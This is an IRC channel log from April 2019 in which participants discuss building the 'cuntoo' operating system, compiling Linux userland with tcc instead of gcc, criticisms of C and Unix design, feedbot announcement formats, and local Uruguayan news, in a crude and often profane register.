1909953;1556138975;bvt;http://btcbase.org/log/2019-04-24#1909723 << i will definitely write him
1909954;1556138975;a111;Logged on 2019-04-24 16:49 mp_en_viaje: bvt, do not despair, even if these do not work out, they're still worth doing. depressing as it may be, at least we know, at least we do the homework, etc.
1909955;1556138999;bvt;he worked with 580BM80A as well http://archive.is/01iuf, http://archive.is/RKAEx , also with feature recognition
1909956;1556139018;bvt;though to my understanding he uses zeptobars photos at least sometimes (http://archive.is/pjqcH#selection-1139.1-1483.105 , http://archive.is/K1Efi#selection-3499.55-3503.154)
1909957;1556139026;bvt;http://btcbase.org/log/2019-04-24#1909728 << he indeed looks very experienced http://archive.is/VOaOV#selection-1166.1-1192.0 http://archive.is/nmzYW#selection-3746.0-3773.78 http://archive.is/FeiYm#selection-3319.1-3321.349
1909958;1556139026;a111;Logged on 2019-04-24 16:51 mp_en_viaje: strikes me as born-in-50s sorta guy tho.
1909959;1556141770;asciilifeform;bvt: ha, i was quite certain i'd seen the fella before. turns out ~this~ was where.
1909960;1556141773;asciilifeform;pretty interesting.
1909961;1556142633;BingoBoingo;In local news the courts are the only thing keeping natural gas running in the country. https://www.elobservador.com.uy/nota/justicia-prohibio-en-forma-definitiva-control-obrero-a-sindicato-del-gas-201942417033
1909962;1556145937;BingoBoingo;Apparently an African swine fever is ripping through China and killing their pork in positive local news.
1909963;1556178666;spyked;notice: I will be out of town for cca 1 week starting tomorrow, so I'll have limited access to my keys and I might handle e.g. feedbot outages with some delay.
1909964;1556178792;spyked;will keep on blogging, though. /me is looking forward to photo posts
1909965;1556182944;*;mircea_popescu waves
1909966;1556182956;mircea_popescu;this is basically a drill.
1909967;1556182977;mircea_popescu;wholly mobile mircea_popescu works fine exactly as per design.
1909968;1556183024;mircea_popescu;and incidentally, trinque 's otp way the fuck smarter than gpg's ascii armor format, slavegirl reports. degree of magnitude faster wetware diode if one needn't handle the shift.
1909969;1556187554;mircea_popescu;http://btcbase.org/log/2019-04-24#1909943 << so far, "cuntoo"  is the name we use for the republican os. this item will exist ; the question reduces to "how much work should i put into the framewire model of the future house". by this or some other name, all work we will ever  put into tmsr os will go into wjat would currently be called "cuntoo"
1909970;1556187554;a111;Logged on 2019-04-24 20:47 bvt: http://btcbase.org/log/2019-04-23#1909552 << i grok this. the question is, how much work should go into cuntoo?
1909971;1556187590;mircea_popescu;if, in the flow of that work, we discover something important enough that it requires a change of direction significant enough to actually use a new name, it's still improper to say the work put into finding the something was either lost or "not put into ultimate product".
1909972;1556187609;mircea_popescu;so... all of it ? or how do you mean ? what % of your own worktime ?
1909973;1556191429;*;mircea_popescu shall bbl, on mp_en_viaje . cheerios!
1909974;1556191481;mircea_popescu;hm
1909975;1556191484;mircea_popescu;!!up RubenSomsen
1909976;1556191484;deedbot;RubenSomsen voiced for 30 minutes.
1909977;1556191492;mircea_popescu;who might you be then ?
1909978;1556194892;feedbot;http://trilema.com/2019/so-here-i-sit/ << Trilema -- So here I sit...
1909979;1556197729;spyked;http://btcbase.org/log/2019-04-24#1909793 <-- link seems b0rken?
1909980;1556197729;a111;Logged on 2019-04-24 17:13 asciilifeform: [https://archive.is/1Ekcw][the orig nvidia simulators noosepiece] , ftr.
1909981;1556204212;asciilifeform;spyked: try https://archive.is/3bxUt .
1909982;1556204250;asciilifeform;spyked: re earlier thrd, i suspect yer real question was, how much work ought one to put into keeping unix on life support.
1909983;1556204383;asciilifeform;( and the approx answer is, defo not zero -- right nao the choices consist of ye olde unix and [http://btcbase.org/log/2018-05-29#1819688][this] )
1909984;1556204383;a111;Logged on 2018-05-29 21:09 asciilifeform: mircea_popescu: i'm almost surprised you dun write it with http://www.loper-os.org/pub/podvig_radista.jpg terminal.
1909985;1556204959;asciilifeform;e.g. an auto-installable cuntoo that runs on commonplace irons and includes working gnat, vtron, etc. would save massive amount of work, vs. current situation where 'oh you bought a new box? here's a buncha toothpicks and glue'
1909986;1556205029;asciilifeform;( consider, for instance, how hanbot's cuntoo experiment ended )
1909987;1556215744;BingoBoingo;In local news, derps *really* want to chase Petrobras out... Despite Bras having hydrocarbons and the derps not https://www.elobservador.com.uy/nota/blog-en-vivo-segui-las-novedades-sobre-el-control-obrero-en-montevideo-gas-201942584431
1909988;1556217219;feedbot;http://qntra.net/2019/04/us-court-rules-in-favor-of-police-finger-forcing/ << Qntra -- US Court Rules In Favor Of Police Finger Forcing
1909989;1556218301;feedbot;http://qntra.net/2019/04/pantsuitist-loots-ngo-lobbying-to-get-un-job-gets-job-un-and-fucks-ngo-all-while-thinking-of-the-children/ << Qntra -- Pantsuitist Loots NGO Lobbying To Get UN Job, Gets Job UN And Fucks NGO All While Thinking Of The Children
1909990;1556219743;feedbot;http://thetarpit.org/posts/y05/08c-feedbot-iii.html << The Tar Pit -- Feedbot [iii]: the IRC bot
1909991;1556220816;PeterL;http://btcbase.org/log/2019-04-23#1909564 << speaking of meat-driven OCR, I de-pdf-ed the miller-rabin paper: http://peterl.xyz/2019/04/probabilistic-algorithm-for-testing-primality/
1909992;1556220816;a111;Logged on 2019-04-23 23:03 asciilifeform: ^ and before mp asks, yes it's combo of manual typewriter and ink pen, and no it won't in a million years ocr, other than by meat ( and is largely schematics / waveforms anyway )
1909993;1556221267;asciilifeform;PeterL: nifty, nao just needs somebody else to do it again and see if ya missed a plus for a minus somewhere, lol
1909994;1556221291;asciilifeform;( not a specific criticism of ^item, but rather the unfortunate reality of 'meat ocr' )
1909995;1556221301;PeterL;proof-reading welcom, I included a link to the pdf in a footnote
1909996;1556221362;*;asciilifeform brb:tea
1909997;1556225565;bvt;http://btcbase.org/log/2019-04-25#1909969 << that clarifies the issue, thanks. i got momentarily confused because imho cuntoo (as gentoo repo snapshot) is too large to pull off http://btcbase.org/log/2019-04-24#1909621 - i see no way to replace gcc with tcc and 'rebuild world' without rewriting ebuilds/getting a ton of errors; but should be realistic with something smaller (which i plan to do).
1909998;1556225565;a111;Logged on 2019-04-25 10:19 mircea_popescu: http://btcbase.org/log/2019-04-24#1909943 << so far, "cuntoo"  is the name we use for the republican os. this item will exist ; the question reduces to "how much work should i put into the framewire model of the future house". by this or some other name, all work we will ever  put into tmsr os will go into wjat would currently be called "cuntoo"
1909999;1556225565;a111;Logged on 2019-04-24 14:36 mp_en_viaje: http://btcbase.org/log/2019-04-23#1909529 << the idea isn't to get tcc to compile ada. the idea is to destroy gcc -- cut the "useful compilation half" into an ada compiler ; cut the shitlands compilation half into a small weight something else. there is no republican future for gcc as a gcc in the foss / linus-stallman sense of the term.
1910000;1556225596;bvt;also, i was under impression that asciilifeform suggests to ditch C after getting sane iron
1910001;1556227268;asciilifeform;bvt: sane iron is not expected today or tomorrow
1910002;1556227316;asciilifeform;( how to build it -- asciilifeform and many other people know ; how to ~pay~ for building it, presently no one knows )
1910003;1556227511;asciilifeform;bvt: as for c, i described in the prev. mp thread re the subj, it can certainly ~exist~ as a zoological specimen on sane iron, as it did on bolix. sorta how you can put cobol on yer box nao if you feel like it.,
1910004;1556227520;asciilifeform;i.e. worx but in no sense 'primacy'
1910005;1556227751;asciilifeform;bvt: as for tcc , i suspect ( but do not know for fact ) that good % of commonplace linux userland is married to gcc nonstandard knobs
1910006;1556227771;asciilifeform;( we know that a 15 y.o. kernel did build on tcc sans eggog, but afaik that's all that is currently known )
1910007;1556227801;asciilifeform;c lang 'standard' was such a sorry joke that this kinda thing is inevitable
1910008;1556227818;asciilifeform;i.e. there is not and cannot be such a thing as a nontrivial c/cpp proggy that 'uses only what is in the standard'
1910009;1556227853;asciilifeform;observe that (despite considerable sweat) asciilifeform was not even able to write ffa , on gnat, 'using only what is standard'
1910010;1556227875;asciilifeform;cuz all kindsa essentials , in unixland, are not in fact standardized in any sense (e.g. cmdline params)
1910011;1556227890;asciilifeform;or consider how ada standard omits 'shifts'
1910012;1556227895;asciilifeform;or.. could go on
1910013;1556228166;asciilifeform;re gcc, the obv. 1st reaction 'so fucking make it all conform to standard' leads nowhere, you cannot write e.g. a device driver in 'standard c' , as it dun give you even such basic thing full bitwise control of struct
1910014;1556228201;asciilifeform;* basic thing as
1910015;1556228421;asciilifeform;even positing pc iron and mircea_popescu's 'why not at least rewrite os in ada' , it isn't clear to me why you'd want to keep e.g. unix's retarded process model ( where process cannot , say, propagate an ada exception for sane eggog handling, but is stuck dying and returning numeric barf code ) if you do such thing.
1910016;1556228500;asciilifeform;the whole edifice of unix is structured around the retarded semantics of c.
1910017;1556228524;asciilifeform;( the concept of 'memory protection', for instance, is entirely a product of the tardlang )
1910018;1556228605;asciilifeform;ditto unix 'signals', structured entirely around lack of a sane standardized tasking system
1910019;1556228619;asciilifeform;i could go on for literally a week and not even scratch the surface of this house of horrors.
1910020;1556228814;asciilifeform;or, take the retardation common to all current pc os -- the explicit juggling of compiled binaries ( really compiled bins ought not to be directly handled by operator, but exist in same sense as [http://btcbase.org/log/2019-02-20#1898265][disk cache] , system as visible to user oughta consist 100% of source, and sectionally rebuilt when changed )
1910021;1556228814;a111;Logged on 2019-02-20 19:31 mircea_popescu: right, "compilation, you mean caching ?".
1910022;1556228837;asciilifeform;or... i sorta have entire www about this, so will stop here for nao.
1910023;1556231882;asciilifeform;wb Mocky
1910024;1556231891;Mocky;thx asciilifeform
1910025;1556231918;asciilifeform;how's the gulag these days ?
1910026;1556231934;Mocky;quite good actually
1910027;1556232035;Mocky;ya know, for that kind of thing :)
1910028;1556232052;asciilifeform;'работа стоит а срок идет'(tm)(r) eh
1910029;1556232064;Mocky;im enjoying the work and the learning new things
1910030;1556232079;Mocky;and the interacting with more people more often
1910031;1556232105;asciilifeform;woah -- moved into sales or wat
1910032;1556232205;Mocky;no but working on my own team is pretty much a cake walk so I'm branching out to helping other teams and meetngreeting across business units making myself generally well liked and enjoying new friends
1910033;1556232334;asciilifeform;if it aint a seekrit, what do they make there ? accounting soft for ancient ibm iron ?
1910034;1556232560;Mocky;my team is writing an application for nurses who are giving care to pregnant chix in their homes, so they can access the functionality of their online medical system, while offline
1910035;1556232749;asciilifeform;must be well-moneyed chix, if they have personal nurse, eh
1910036;1556232854;Mocky;nope, poor chix who have trouble getting into the dr regularly. Its cheaper for insurance company to run this in-home program than to pay for the complications that would otherwise occur
1910037;1556232861;asciilifeform;aa
1910038;1556233309;Mocky;spyked: how would you feel about changing your feedbot announce format from "~link << ~site -- ~title" to "~site -- [~link][~title]" ?
1910039;1556243455;BingoBoingo;The latest development on the Natural Gas plant is... The derps left after the Police showed up.
1910040;1556293095;feedbot;http://qntra.net/2019/04/bitfinex-slammed-in-new-york-for-allegely-using-tether-stablecoin-reserves-as-slush-fund-to-cover-losses/ << Qntra -- Bitfinex Slammed In New York For Allegely Using Tether "Stablecoin" Reserves As Slush Fund To Cover Losses
1910041;1556315721;feedbot;http://blog.mod6.net/2019/04/building-musltronic-gnat-part-2/ << mod6's Blog -- Building Musltronic GNAT: Part 2
1910042;1556330304;feedbot;http://blog.lobbesblog.com/2019/04/auctionbot-vpatch-and-manifest/ << lobbesblog -- Auctionbot: vpatch and manifest
1910043;1556346562;spyked;greetings from the Black Sea's western shore, y'arr!
1910044;1556347100;spyked;http://btcbase.org/log/2019-04-25#1910038 <-- I suppose that might work. otoh, the only (small) complexity that arises is that, while in the former case the link is clearly the first element (in both order and priority), in the latter case it's the other way around. this means that the announcer needs to make sure that the ~site and ~title don't result in the ~link being cut off (as part of the anchor) and
1910045;1556347100;a111;Logged on 2019-04-25 23:01 Mocky: spyked: how would you feel about changing your feedbot announce format from "~link << ~site -- ~title" to "~site -- [~link][~title]" ?
1910046;1556347106;spyked; snip the title if needed
1910047;1556347144;spyked;granted, it rarely happens for the title to be snipped, e.g. last time was http://btcbase.org/log/2016-10-01#1551126 , http://btcbase.org/log/2016-11-05#1563103 ?
1910048;1556347144;a111;Logged on 2016-10-01 18:43 deedbot: http://trilema.com/2016/observations-on-certain-documents-contained-in-the-history-of-the-united-states-for-the-year-1796-in-which-the-charge-of-speculation-against-alexander-hamilton-late-secretary-of-the-treasury-is-fully/ << Trilema - Observations on certain documents contained in the history of the United States for the year 1796 in which the charge of speculation against Alexander Hamilton, late secretary of the treasury is fully refuted. Written by
1910049;1556347144;a111;Logged on 2016-11-05 03:48 deedbot: http://trilema.com/2016/the-jurors-for-the-said-commonwealth-on-their-oath-present-that-lizzie-andrew-borden-of-fall-river-in-the-county-of-bristol-at-fall-river-in-the-county-of-bristol-on-the-fourth-day-of-august-in-the/ << Trilema - The Jurors for the said Commonwealth, on their oath present that Lizzie Andrew Borden of Fall River in the County of Bristol, at Fall River in the County of Bristol, on the fourth day of August in the year eigtheen hundred
1910050;1556347271;*;spyked is off to enjoy the smell of the sea
1910051;1556347589;feedbot;http://thetarpit.org/posts/y05/08d-sinaia.html << The Tar Pit -- Sinaia
1910052;1556348366;spyked;re http://btcbase.org/log/2019-04-27#1910042 <-- /me thinks the logbot and trilemabot sides of the tree should be merged?
1910053;1556348366;a111;Logged on 2019-04-27 01:58 feedbot: http://blog.lobbesblog.com/2019/04/auctionbot-vpatch-and-manifest/ << lobbesblog -- Auctionbot: vpatch and manifest
1910054;1556348529;spyked;this would require another regrind, but I'm supposing the time will come when someone will need both trilemabot and logbot in the same place. I can take it upon myself to do this if there's no objections
1910055;1556352485;diana_coman;my understanding was that the logbot was the part one might want to run on its own
1910056;1556354286;spyked;diana_coman, tbh I'm not sure, so I'm posing it as a question. there's also prolly some merit to the idea of each bot having, optionally, a logotron attached to it (since it's already listening...)
1910057;1556354365;spyked;as things stand currently, http://thetarpit.org/posts/y05/080-botworks-regrind.html#selection-311.98-311.247 is true, but logging and responding to commands/voicing aren't ~necessarily~ mutually exclusive
1910058;1556354589;spyked;anyway, I'd only ask phf to replace http://btcbase.org/patches?patchset=bot with the keccak patches after figuring out what makes more sense.
1910059;1556362165;*;mp_en_viaje wavwa
1910060;1556362168;mp_en_viaje;lmao.
1910061;1556362170;*;mp_en_viaje waves
1910062;1556363080;mp_en_viaje;http://btcbase.org/log/2019-04-25#1909985 << quite very much so ; and it is i hope a shared goal to bring this item to the state of ye olde eulora client, where it jus tsplendidly worked, like apple shit always claimed to.
1910063;1556363080;a111;Logged on 2019-04-25 15:09 asciilifeform: e.g. an auto-installable cuntoo that runs on commonplace irons and includes working gnat, vtron, etc. would save massive amount of work, vs. current situation where 'oh you bought a new box? here's a buncha toothpicks and glue'
1910064;1556363768;mp_en_viaje;http://btcbase.org/log/2019-04-25#1909991 << nice.
1910065;1556363768;a111;Logged on 2019-04-25 19:33 PeterL: http://btcbase.org/log/2019-04-23#1909564 << speaking of meat-driven OCR, I de-pdf-ed the miller-rabin paper: http://peterl.xyz/2019/04/probabilistic-algorithm-for-testing-primality/
1910066;1556363781;mp_en_viaje;incidentally, this is both the traditional as well as a quite effectual way of learning things.
1910067;1556363786;mp_en_viaje;copy them, by hand.
1910068;1556363817;mp_en_viaje;and yes, i fucking do it, on occasion. i even do it on occasion for things i know perfectly well, just because it seems to me some particular form or other is deserving of my labour.
1910069;1556363858;mp_en_viaje;very similar process to what ends up in items like http://trilema.com/2016/double-indemnity/ or http://trilema.com/2017/zuleika-dobson-or-an-proper-love-story/ eventually, come to think of it.
1910070;1556363913;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910000 << yes, but it's rather likely sane iron will be designed on less sane iron.
1910071;1556363913;a111;Logged on 2019-04-25 20:53 bvt: also, i was under impression that asciilifeform suggests to ditch C after getting sane iron
1910072;1556364007;mp_en_viaje;but i can readily see what was confusing : sometimes the leaps get to be too great to follow. this future where c/c++/c#/javascript/whatever such are relegated to their rightful place is so fucking distant, even merely talking of it likely smacks of lunacy to most anyone.
1910073;1556364126;mp_en_viaje;in other joys : wget -i caragiale.txt > FINISHED --2019-04-27 13:04:23-- Downloaded: 287 files, 9.0M in 13s (720 KB/s)
1910074;1556364155;mp_en_viaje;takes 13 seconds and a working box to acquire a library these days ; whole thing can be done while coffee brews.
1910075;1556364217;mp_en_viaje;and to think THIS, specifically THIS promise of the internet, the computer, the future, got implemented for the mass market as apple library and google books and what the fuck not. seriously guyse, point and click interfaces and pageflip animations and "return the virtual book to library" ?
1910076;1556364242;mp_en_viaje;there's nothing in nature as fucking dumb as people can get once they start trying to not leave any children behind.
1910077;1556364378;mp_en_viaje;granted, my old style library i grew up with was two to three degrees of magnitude larger than 9mb ; but it sure as fuck took a bunch of people way the fuck more than 15 hours to stitch it all together. and there's 60 seconds in a minute, not 10, and there's 60 minutes in an hour, not ten. and so the fuck on.
1910078;1556364508;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910005 << this is very much a matter of http://trilema.com/2014/ubuntu-is-a-worse-piece-of-shit-than-ms-dos-ever-was/#selection-145.0-145.299 : i'm sure they do, because they're there. the question is not whether the siamese twins are connected, but whether their mother can be fucked into delivering any babies that aren't.
1910079;1556364508;a111;Logged on 2019-04-25 21:29 asciilifeform: bvt: as for tcc , i suspect ( but do not know for fact ) that good % of commonplace linux userland is married to gcc nonstandard knobs
1910080;1556364592;mp_en_viaje;if experience's any guide, 99% of linux userland is not useful for any purpose ; of which remaining 1% 99% has to be rewritten anyway as the extant item is so fucking terribly designed and worse implemented as to cost literally as much as it produces ; of the reminder 1% i can at the present time think of very few examples.
1910081;1556364715;mp_en_viaje;this to not even mention how if one wants to review say the code of "ls", all one gets is somrthing  ridiculous like http://ftp.gnu.org/pub/gnu/coreutils/ ; there's eminently no http://www.loper-os.org/?p=3156#selection-31.0-157.30
1910082;1556364785;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910006 << there is, for the record, nothing disqualifying or "bad" about 15 year old kernels. for one thing, pretty muich all the cpus that can be used for any serious purpose are that old or older ; for the other thing i actually use kernels that are that old or older.
1910083;1556364785;a111;Logged on 2019-04-25 21:29 asciilifeform: ( we know that a 15 y.o. kernel did build on tcc sans eggog, but afaik that's all that is currently known )
1910084;1556364886;mp_en_viaje;the "these losers have don nothing for decades" is not just being fancy.
1910085;1556365154;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910015 << in the same vein : INSTEAD of having sane propagation back and forth, which in turn would permit you to let THE OS own the input/output devices, and which would FORCE conformity on the part of programs, you end up with the "oh, program once started owns keyboard ... well, sorta.... and also if anythinf happens has to die... and of couse there's nobody there at its grave to save s
1910086;1556365154;a111;Logged on 2019-04-25 21:40 asciilifeform: even positing pc iron and mircea_popescu's 'why not at least rewrite os in ada' , it isn't clear to me why you'd want to keep e.g. unix's retarded process model ( where process cannot , say, propagate an ada exception for sane eggog handling, but is stuck dying and returning numeric barf code ) if you do such thing.
1910087;1556365154;mp_en_viaje;tate or even describe the circumstance... so we hold inquest jury.... bla bla bla bla".
1910088;1556365196;mp_en_viaje;then all the fungus grew to try to somehow shape this miscut rock into usable brick form. so process sorta-owns keyboard but not really except reallier than that but not really except...
1910089;1556365270;mp_en_viaje;just look at the f11 (ie, full screen) semantics for a pile of lulz. both the os AND the browser interpret it ; and if you;re luck on some laptops the bios too. cuz why the fuck ?
1910090;1556365368;mp_en_viaje;"oh mp, i didn't even know it's what f11 is". neither did i. and so you get inane bs like http://btcbase.org/log/2019-03-09#1900991 and all the rest of it, too.
1910091;1556365368;a111;Logged on 2019-03-09 00:51 hanbot: so there i am merrily entering choices into the kernel config's endless querying on the tail of my cuntoo installation attempt, and i'm noting down all the modules it asks about that don't appear in http://btcbase.org/log/2019-03-08#1900940 for posterity, during which i ctrl + c on the wrong of the two keyboards i'm handling while trying to copy a module name and bam, make dies, which means kernel configuring dies, which means bootstrap.sh dies,
1910092;1556365527;mp_en_viaje;so yes, he's right : description of the "what's wrong with it" could go on for a long time ; but the cause is that everything's wrong with it, each juncture, because being wrong on the left and then on the right in quick succession's just a summed up list of being wrong this way and that yet wrong nevertheless.
1910093;1556365578;mp_en_viaje;"when a man designs he is holding the water of the world in his closed palms ; should he open his fingers then, he needn't hope to ever encounter sanity again."
1910094;1556365835;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910020 << this was born of distrust ; in fact this "binary handling by operator" is the last bastion keeping computing from devolving into the happy world [http://qntra.net/2019/04/us-court-rules-in-favor-of-police-finger-forcing/][these idiots] inhabit.
1910095;1556365835;a111;Logged on 2019-04-25 21:46 asciilifeform: or, take the retardation common to all current pc os -- the explicit juggling of compiled binaries ( really compiled bins ought not to be directly handled by operator, but exist in same sense as [http://btcbase.org/log/2019-02-20#1898265][disk cache] , system as visible to user oughta consist 100% of source, and sectionally rebuilt when changed )
1910096;1556366026;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910032 << qatar trip helped this fellow along to some self growth eh.
1910097;1556366026;a111;Logged on 2019-04-25 22:43 Mocky: no but working on my own team is pretty much a cake walk so I'm branching out to helping other teams and meetngreeting across business units making myself generally well liked and enjoying new friends
1910098;1556366149;mp_en_viaje;http://btcbase.org/log/2019-04-25#1910035 << nah, on the contrary, sounds like ghetto insurance savings.
1910099;1556366149;a111;Logged on 2019-04-25 22:52 asciilifeform: must be well-moneyed chix, if they have personal nurse, eh
1910100;1556366162;mp_en_viaje;o heh, check it out, that's exactly what it is.
1910101;1556366203;mp_en_viaje;this is how ustardia works, "the squeaky wheel gets the grease". best play in socialism is to be poor, stupid, sickly and helpless.
1910102;1556366242;mp_en_viaje;that way you get both "from each according to ability" -> 0 as well as "to each according t oneed" -> inf.
1910103;1556366442;mp_en_viaje;http://btcbase.org/log/2019-04-26#1910040 <<< http://trilema.com/2015/so-the-broomstick-fired/ and then of course 2013 and etcetera. USG dept of [http://trilema.com/2012/law-enforcement-never-fails-to-unintentionally-entertain/][lawls] and [http://trilema.com/2016/the-great-law-enforcement-article/][lowlz]. who knows, one day they'll actually do something such that someone somewhere could take them seriously.
1910104;1556366442;a111;Logged on 2019-04-26 15:38 feedbot: http://qntra.net/2019/04/bitfinex-slammed-in-new-york-for-allegely-using-tether-stablecoin-reserves-as-slush-fund-to-cover-losses/ << Qntra -- Bitfinex Slammed In New York For Allegely Using Tether "Stablecoin" Reserves As Slush Fund To Cover Losses
1910105;1556366445;mp_en_viaje;one day.
1910106;1556366509;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910043 << keks, world's most expensive shittiest service still ?
1910107;1556366509;a111;Logged on 2019-04-27 06:29 spyked: greetings from the Black Sea's western shore, y'arr!
1910108;1556366580;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910044 << nah, let it be. there's no reason to import dependency on ~display format~. the way phf's logotron displayer displays things is further downstream from the way your feed reader announces feeds.
1910109;1556366580;a111;Logged on 2019-04-27 06:38 spyked: http://btcbase.org/log/2019-04-25#1910038 <-- I suppose that might work. otoh, the only (small) complexity that arises is that, while in the former case the link is clearly the first element (in both order and priority), in the latter case it's the other way around. this means that the announcer needs to make sure that the ~site and ~title don't result in the ~link being cut off (as part of the anchor) and
1910110;1556366594;mp_en_viaje;the link's there, it gets made clickable anyway, it's good enough as it is.
1910111;1556367218;*;mp_en_viaje shall be back later today!
1910112;1556370081;spyked;http://btcbase.org/log/2019-04-27#1910106 <-- yeah, still. fortunately for me, I'm not doing litoral shithotels, given that half my meatwot-L1 lives here.
1910113;1556370081;a111;Logged on 2019-04-27 12:01 mp_en_viaje: http://btcbase.org/log/2019-04-27#1910043 << keks, world's most expensive shittiest service still ?
1910114;1556370226;*;spyked off for another photo session in the surrounding villages
1910115;1556373619;asciilifeform;http://btcbase.org/log/2019-04-27#1910094 << quite the opposite. it's how microshit/crapple world was made possible to begin with -- what with os etc being multi-GB of binariola. whereas suppose 'os' consisted of coupla kb of hand-entered hex bootstrap + whatever-sized bag of source, and kept 'compileade' strictly in cache ram...
1910116;1556373619;a111;Logged on 2019-04-27 11:50 mp_en_viaje: http://btcbase.org/log/2019-04-25#1910020 << this was born of distrust ; in fact this "binary handling by operator" is the last bastion keeping computing from devolving into the happy world [http://qntra.net/2019/04/us-court-rules-in-favor-of-police-finger-forcing/][these idiots] inhabit.
1910117;1556373888;asciilifeform;you turn on the mains, thing compiles the coupla MB of sores kept in nonvolatile. this -- runs. you go an' change a line, it recompiles that section, at same time as the cache refreshes.
1910118;1556373961;asciilifeform;it aint even so hard to implement ~on pc~ -- poor madman terry davis, ~had it~ . ( asciilifeform happens to think that davis read his www, but at this pt only beelzebub knows, whether read or came to the obv notion on own steam.. )
1910119;1556374023;asciilifeform;http://btcbase.org/log/2019-04-27#1910089 << mine's connected to the room lights, lol
1910120;1556374023;a111;Logged on 2019-04-27 11:41 mp_en_viaje: just look at the f11 (ie, full screen) semantics for a pile of lulz. both the os AND the browser interpret it ; and if you;re luck on some laptops the bios too. cuz why the fuck ?
1910121;1556374064;asciilifeform;http://btcbase.org/log/2019-04-27#1910068 << asciilifeform also does. and by-hand by-hand, as in, with ink.
1910122;1556374064;a111;Logged on 2019-04-27 11:16 mp_en_viaje: and yes, i fucking do it, on occasion. i even do it on occasion for things i know perfectly well, just because it seems to me some particular form or other is deserving of my labour.
1910123;1556374094;asciilifeform;http://btcbase.org/log/2019-04-27#1910070 << lenin's 'the new shithouse is to be built from the bricks of the old' comes to mind. and yes.
1910124;1556374094;a111;Logged on 2019-04-27 11:18 mp_en_viaje: http://btcbase.org/log/2019-04-25#1910000 << yes, but it's rather likely sane iron will be designed on less sane iron.
1910125;1556374144;asciilifeform;http://btcbase.org/log/2019-04-27#1910075 << re the lulzy 'return' , [http://www.loper-os.org/?p=351][oblig vintage asciilifeform lulzpiece]
1910126;1556374144;a111;Logged on 2019-04-27 11:23 mp_en_viaje: and to think THIS, specifically THIS promise of the internet, the computer, the future, got implemented for the mass market as apple library and google books and what the fuck not. seriously guyse, point and click interfaces and pageflip animations and "return the virtual book to library" ?
1910127;1556374194;asciilifeform;+ [http://www.loper-os.org/?p=752#selection-99.0-99.48][sequel] .
1910128;1556374265;asciilifeform;http://btcbase.org/log/2019-04-27#1910082 << with a few enumerable caveats ( rk, coupla other irons ) this is entirely troo
1910129;1556374265;a111;Logged on 2019-04-27 11:33 mp_en_viaje: http://btcbase.org/log/2019-04-25#1910006 << there is, for the record, nothing disqualifying or "bad" about 15 year old kernels. for one thing, pretty muich all the cpus that can be used for any serious purpose are that old or older ; for the other thing i actually use kernels that are that old or older.
1910130;1556374324;*;asciilifeform will also bbl later tonight.
1910131;1556384370;BingoBoingo;And Petrobras fires back at the natural gas derps and Uruguay by putting all of their gas station chain up for sale, Great Victory for labor... https://www.elobservador.com.uy/nota/petrobras-puso-a-la-venta-sus-estaciones-de-servicio-en-el-pais-20194262343
1910132;1556384521;BingoBoingo;Local government very surprised. The courts told the derps no, the police chased the derps out (but failed to beat them)...
1910133;1556384934;BingoBoingo;Other than making a loud statement, what likely drove Petrobras this far was derp from PIT-CNT (totally indegenous AFL-CIO like thing) objecting to court and police actions with their cheif derp declaring labor action is above the law in the very traditional Latino sense
1910134;1556399455;lobbes;http://btcbase.org/log/2019-04-27#1910057 << while not necessarily mutually exclusive, I understood the two branches as "those who want to import postgres as a dependence (logbot/logbot-command-router) and those who don't (ircbot/trilemabot)".
1910135;1556399455;a111;Logged on 2019-04-27 08:39 spyked: as things stand currently, http://thetarpit.org/posts/y05/080-botworks-regrind.html#selection-311.98-311.247 is true, but logging and responding to commands/voicing aren't ~necessarily~ mutually exclusive
1910136;1556399461;lobbes;I guess I don't see the problem atm with having the two branches, though I welcome being convinced/pointed-to-log-threads (I've been re-reading the threads referenced in spyked's blog, but still have to finish, so possibly not grokking some fundamental bits discussed somewhere)
1910137;1556401835;asciilifeform;in other noose, asciilifeform met with some meatspace folx who rent out time on sem & ion beam station by the hr. 'bout a hundy per hr.
1910138;1556401901;asciilifeform;not about to make use of'em just yet, but i expect before end of year, prolly will.
1910139;1556402049;asciilifeform;( wandered in by happenstance, while on other biz. 'wanna turn the knobs? we put housefly as sampler' 'canhaz per hr' d00d digs, disgorges rate )
1910140;1556402126;asciilifeform;self-service thing, nfi it existed ( quite reminiscent, this, of the old dc search. if you go by what's on www, nuffin fucking exists at all )
1910141;1556402239;asciilifeform;for fiddybux moar, you get a coolie to assist.
1910142;1556402295;asciilifeform;serious $mil+ sem, even, not '80s museum piece. could just as easily photo e.g. cr50 as bolix.
1910143;1556402852;*;asciilifeform bbl:tea.
1910144;1556404938;BingoBoingo;Interesting find
1910145;1556408862;feedbot;http://bingology.net/2019/04/27/the-environmental-problem-in-the-new-world-part-one/ << Bingology - BingoBoingo's Blog -- The Environmental Problem In The New World: Part One
1910146;1556440094;diana_coman;asciilifeform: so basically the "can't have x" is more indicative of "didn't look for it irl seriously enough"?
1910147;1556459334;asciilifeform;diana_coman: lol how could this ever be ruled out.
1910148;1556459413;asciilifeform;hence the need for continuous dig, when not yet found whichever $atlantis.
1910149;1556462150;diana_coman;asciilifeform: there's a difference between ruled out and default as it were
1910150;1556463950;asciilifeform;diana_coman: not sure i grasp
1910151;1556464826;diana_coman;asciilifeform: it seems (perhaps wrongly) to me that the usual default re searching for all sorts is more often than it should the online; this experience (not by itself either) seems to me to drive home again the fact that exhaustive offline searches are more likely to yield the actual interesting stuff than even exhaustive online ones.
1910152;1556464908;asciilifeform;diana_coman: ah this, entirely troo. which is why asciilifeform periodically goes to various meatspace heathen pits.
1910153;1556464985;asciilifeform;in this case, a local physics lab ( erry year they give tour to gawkers , i enjoy posing sadistic questions to the academicoolies )
1910154;1556464997;diana_coman;bwahaha, that sounds fun though
1910155;1556465118;diana_coman;esp in organised "tours" and the like I think it's absolutely imperative to pose sadistic questions; after all, why else go there otherwise.
1910156;1556465123;asciilifeform;often fun, and sometimes -- profit.
1910157;1556465159;diana_coman;well, profit is just another type of fun, lol.
1910158;1556465315;asciilifeform;i dun have a platoon of social engineering helpinghands like mircea_popescu's , but the work still gotta be done. so -- erry so often asciilifeform goes, does it, with own hands.
1910159;1556465350;*;asciilifeform brb:tea
1910160;1556465357;diana_coman;enjoy!
